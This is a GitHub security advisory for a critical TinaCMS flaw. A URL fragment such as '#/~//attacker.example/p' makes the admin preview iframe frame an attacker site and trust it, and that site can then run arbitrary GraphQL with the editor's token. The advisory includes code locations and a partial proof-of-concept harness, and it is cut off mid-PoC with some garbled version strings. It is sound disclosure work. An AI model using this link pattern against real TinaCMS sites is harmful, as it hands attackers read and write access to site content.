GitHub Advisoryadvisory · npm
GHSA-x34j-47hf-4xg7 TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment
CRITICAL
Official page ↗
- Aliases
- CVE-2026-108261
- Ecosystem
- npm
- Packages
- tinacms, @tinacms/app
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
- Weaknesses
- CWE-346, CWE-441, CWE-601
- Reviewed
- 2026-10-09
Affected packages
• npm tinacms: < 3.14.0 → fixed in 3.14.0
• npm @tinacms/app: < 2.5.14 → fixed in 2.5.14
Description
Summary
The TinaCMS admin builds its preview `` from the `/~/*` hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (`#/~//attacker.example/p`) becomes the protocol-relative URL `//attacker.example/p`, so the admin frames an external site. That same unvalidated string derives `expectedOrigin`, the only trust anchor for the admin↔preview `postMessage` channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin.
One link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor.
Details
Root cause — the router splat becomes the frame source with no same-origin check:
```
packages/tinacms/src/admin/index.tsx:16 HashRouter as Router,
packages/tinacms/src/admin/index.tsx:329 path='/~/*'
packages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(`/${params['*']}`);
packages/tinacms/src/admin/index.tsx:176 const paramURL = `/${params['*']}`;
packages/@tinacms/app/src/preview.tsx:24 src={props.url}
```
The leading `/` is meant to force a relative path, but `[email protected]` returns the splat with its own leading slash for `/~//x`, producing `//x`. The iframe has no `sandbox` attribute and the admin bundle ships no CSP.
The trust anchor is then computed from that same value:
```
packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212 getExpectedPreviewOrigin(url)
packages/@tinacms/app/src/lib/preview-origin.ts:22 return new URL(url, baseOrigin || undefined).origin;
packages/@tinacms/app/src/lib/preview-origin.ts:43-46 event.origin !== expectedOrigin -> reject
```
Both guards pass for the attacker: `event.origin` *is* `expectedOrigin`, and `event.source` *is* the frame the admin itself loaded.
`PreviewInner`'s URL-correction poll (`packages/tinacms/src/admin/index.tsx:189-200`) does not recover the frame: reading `ref.current.contentWindow.location.href` across origins throws an uncaught `SecurityError`, so `setReportedURL` never fires and no corrective `navigate()` happens. The PoC below includes that effect verbatim and the attack still completes.
Sink — the attacker's GraphQL string reaches the authenticated client, and the result goes back to the attacker:
```
packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624 'open' handler; zod validates types only, not query content
packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978 cms.api.tina.request(expandedQuery, { variables })
packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505 postMessageToPreview(..., expectedOrigin)
```
`expandQuery` (`packages/@tinacms/app/src/lib/expand-query.ts:3-18`) is operation-agnostic, so mutations pass through unchanged.
Default-enabled: `packages/@tinacms/app/src/App.tsx:70` always passes `preview={Preview}`, and `packages/tinacms/src/admin/index.tsx:327` registers `/~/*` whenever `preview` is truthy — so the route exists in every `tinacms build` output and in `tinacms dev`.
Incomplete-fix note: `[email protected]` / `@tinacms/[email protected]` (PR #7056, `c491fc5`) added the sender-side origin check, but never validated the URL that check compares against.
Affected-range basis, stated plainly: I tested only `[email protected]` / `@tinacms/[email protected]` (commit `0d38acf`). The ranges below are given as `/dev/null
npm i --ignore-scripts [email protected] [email protected] [email protected] [email protected] [email protected]
cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts
```
`victim/admin.tsx` — `PreviewInner` from `packages/tinacms/src/admin/index.tsx:170-210`, `Preview` from `packages/@tinacms/app/src/preview.tsx:10-26`, and the four `graphql-reducer.ts` steps (`:209-212`, `:548-556`, `:613-624` + `:973-978`, `:497-505`):
```tsx
import React from 'react';
import { createRoot } from 'react-dom/client';
import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';
import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';
const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);
// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin
// this is an authenticated call to the content API with the editor's token.
async function tinaRequest(query: string) {
log('cms.api.tina.request() called with attacker query', query);
return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } };
}
function useGraphQLReducer(iframe: React.MutableRefObject, url: string) {
const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]); // :209-212
React.useEffect(() => {
log('expectedOrigin derived from preview url', { url, expectedOrigin });
(window as any).__poc_expectedOrigin = expectedOrigin;
}, [expectedOrigin, url]);
const handleMessage = React.useCallback(async (event: MessageEvent) => {
if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556
if (event.data.type === 'open') { // :613-624
log('ACCEPTED "open" message from', event.origin);
const expandedData = await tinaRequest(event.data.query); // :973-978
postMessageToPreview(iframe.current?.contentWindow,
{ type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505
log('posted query result to', expectedOrigin);
}
}, [expectedOrigin]);
React.useEffect(() => {
window.addEventListener('message', handleMessage);
return () => window.removeEventListener('message', handleMessage);
}, [handleMessage]);
}
const Preview = (props: { url: string; iframeRef: React.MutableRefObject }) => {
useGraphQLReducer(props.iframeRef, props.url);
return ; // preview.tsx:24
};
const PreviewInner = ({ preview }: { preview: any }) => { // admin/index.tsx:170-210
const params = useParams();
const navigate = useNavigate();
const [url, setURL] = React.useState(`/${params['*']}`);
const [reportedURL, setReportedURL] = React.useState(null);
const ref = React.useRef(null);
const param…
Related
Alias · CVE (1)
- CVE-2026-108261 Tina is a headless content management system. vulnerability
References
- https://github.com/tinacms/tinacms/security/advisories/GHSA-x34j-47hf-4xg7 web
- https://github.com/tinacms/tinacms/pull/7522 web
- https://github.com/tinacms/tinacms/commit/b57dbf4b56201aef15cd92caa49fd12ab96bbecf web
- https://github.com/tinacms/tinacms package
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/[email protected] web
- https://github.com/tinacms/tinacms/releases/tag/[email protected] web